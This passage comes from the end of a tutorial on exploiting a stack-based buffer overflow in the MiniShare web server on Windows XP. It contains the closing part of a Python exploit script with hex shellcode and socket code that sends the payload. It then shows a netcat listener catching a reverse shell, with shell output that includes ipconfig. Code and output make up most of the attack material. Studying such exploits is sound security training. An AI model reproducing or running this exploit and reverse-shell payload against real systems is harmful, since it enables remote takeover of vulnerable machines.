"\xda\x63\xc0\x6a\x8b\xf2\x2a\xad\xcd\xfb\x66\x5b\x31\x4d\xdf"

"\x1a\x4d\x61\xb7\xaa\x36\x9c\x27\x54\xed\x25\x57\x1f\xac\x0f"

"\xf0\xc6\x24\x12\x9d\xf8\x92\x50\x98\x7a\x17\x28\x5f\x62\x52"

"\x2d\x1b\x24\x8e\x5f\x34\xc1\xb0\xcc\x35\xc0\xbb")

buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address,target_port))

sock.send(buffer)

sock.close()

Testing the Exploit

To test our exploit, which is going to generate a reverse shell back to our system, we need to set up a listener on our local machine for the reverse shell to connect to. We will use netcat to do this, and on Linux we do this as root so that we have permission to bind to the privileged port of

443.

root@bt4pf:~# nc -nvvlp 443

listening on [any] 443 ...

Now we restart MiniShare in the debugger, set our breakpoint address once more on our JMP

ESP address, and run the exploit. The program should pause execution at the breakpoint, and if we use the F7 key to step forward, we should end up at the start of our shellcode. Following ESP

in the memory dump, we can do a quick visual inspection of the contents of memory to confirm that our shellcode has made it in unmolested. We then let the program run by using the F9 key or the play button.

Then going back to the listener, we can see that we have a shell.

root@bt4pf:~# nc -nvvlp 443

listening on [any] 443 ...

connect to [192.168.20.11] from (UNKNOWN) [192.168.10.27] 1101

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

Page 30: Stack Based Windows Buffer Overflow

C:\Program Files\MiniShare>ipconfig

ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : lan

IP Address. . . . . . . . . . . . : 192.168.10.27

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 192.168.10.1

C:\Program Files\MiniShare>

We can try this again with the MiniShare server running outside of the debugger, and we should

again get a shell.

root@giraffe:~# nc -nvvlp 443

listening on [any] 443 ...

connect to [192.168.20.11] from (UNKNOWN) [192.168.10.27] 1102

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\MiniShare>

That's it, the exploit is now complete!!!